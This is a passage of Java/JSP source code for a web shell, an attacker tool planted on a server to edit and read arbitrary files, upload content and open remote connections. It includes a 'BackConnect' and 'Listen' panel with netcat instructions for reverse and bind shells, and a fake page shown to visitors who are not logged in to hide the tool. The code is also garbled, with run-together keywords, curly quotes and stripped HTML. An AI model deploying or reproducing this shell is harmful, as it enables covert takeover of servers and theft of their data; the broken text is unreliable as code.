BufferedWriter outs= new BufferedWriter(newFileWriter(saveas));
StringReader text= new StringReader(request.getParameter("filesource"));inti;boolean cr = false;
String lineend= "\n";if (dos) lineend = "\r\n";while ((i = text.read()) >= 0) {if (i == ‘\r‘) cr = true;else if (i == ‘\n‘) {
outs.write(lineend);
cr= false;
}else if(cr) {
outs.write(lineend);
cr= false;
}else{
outs.write(i);
cr= false;
}
}
outs.flush();
outs.close();if(is_file(saveas)) pesan = "File Saved";else pesan = "Failed to save file";
mymsg= "[ " + pesan + " ]";
}if((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) {
fpath= request.getParameter("view");if((request.getParameter("saveas")!=null) && (!request.getParameter("saveas").equals(""))){
fpath= request.getParameter("saveas");
}
}else fpath = xCwd + request.getParameter("filename");
StringBuffer result_= new StringBuffer("");;
BufferedReader reader= new BufferedReader(newFileReader(fpath));inti;boolean cr = false;while ((i = reader.read()) >= 0) {
result_.append((char) i);if (i == ‘\r‘) cr = true;else if (cr && (i == ‘\n‘)) dos = true;else cr = false;
}
reader.close();
String doz= "";if(dos) doz="true";else doz="false";
result= "
" + xfilesummary(fpath) + "" + mymsg + "
"
" +"" + result_ + "" +
"" +
"" +
" " +
"
";}else{
result=xdir(xCwd);
}//################# Finalizing #######################======================================================]
File xcfile = new File(".");
xCwd=xcfile.getCanonicalPath();
String html_title= "";
String html_head= "";
String html_body= "";if(auth){
String bportC= "";
String lportC= "";if(request.getParameter("bportC")!=null) bportC = request.getParameter("bportC");else bportC =shell_fav_port;if(request.getParameter("lportC")!=null) lportC = request.getParameter("lportC");else lportC =shell_fav_port;
html_title= shell_title + " " +xCwd;
html_head= "
" + html_title + "" +"" + shell_style +
"
"function updateInfo(boxid,typ){" +
" if(typ == 0){" +
" var pola = ‘example: (using netcat) run "nc -l -p __PORT__" and then press Connect‘; " +
" }" +
" else{" +
" var pola = ‘example: (using netcat) press "Listen" and then run "nc " + xServerIP + " __PORT__"‘; " +
" }" +
" var portnum = document.getElementById(boxid).value;" +
" var hasil = pola.replace(‘__PORT__‘, portnum);" +
" document.getElementById(boxid+‘_‘).innerHTML = hasil;" +
"}" +
"function show(boxid){" +
" var box = document.getElementById(boxid);" +
" if(box.style.display != ‘inline‘){" +
" document.getElementById(‘newfile‘).style.display = ‘none‘;" +
" document.getElementById(‘newfolder‘).style.display = ‘none‘;" +
" document.getElementById(‘newupload‘).style.display = ‘none‘;" +
" document.getElementById(‘newchild‘).style.display = ‘none‘;" +
" document.getElementById(‘newconnect‘).style.display = ‘none‘;" +
" box.style.display = ‘inline‘;" +
" box.focus();" +
" }" +
" else box.style.display = ‘none‘;" +
"}" +
"function highlighthexdump(address){" +
" var target = document.getElementById(address);" +
" target.style.background = ‘" + shell_color + "‘;" +
"}" +
"function unhighlighthexdump(address){" +
" var target = document.getElementById(address);" +
" target.style.background = ‘none‘;" +
"}" +
"";
html_body= "
"
" + shell_title + "
" +"
"
"
"
" +"
"
" +"
"" +
"
BackConnect" +"Port " +
" " +
"
" +"
example: (using netcat) run "nc -l -p " + bportC + "" and then press Connect" +"
" +"
Listen" +"Port " +
" " +
"
" +"
example: (using netcat) press "Listen" and then run "nc " + xServerIP + " " + lportC + """ +"
"
"
" +"" +
"
"
New Foldername" +"" +
"
" +"" +
"
"
"
" +"" +
"
"
New Filename" +"" +
"
" +"" +
"
"
"
" +"
"
Save as" +"
From Url" +"" +
"
" +"
From Computer" +"" +
"
" +"
"
"
" +"" +
"
"
New Shellname" +"" +
"
" +"
"
"
"
" +"" +
"
"
" +"
" +"
" +"
"
"
}else{
html_title=shell_fake_name;
html_head= "
" + html_title + "" +shell_style;html_body= "
"
"
" +"" +
"" +
"
" +"
"
"
}
String html_οnlοad= "";if((request.getParameter("cmd")!=null) || (request.getParameter("passw")!=null)){
html_οnlοad= " οnlοad=\"document.getElementById(‘cmd‘).focus();\"";
}else html_onload = "";
String html_final= "
" + html_head +"" +
"
" +"
"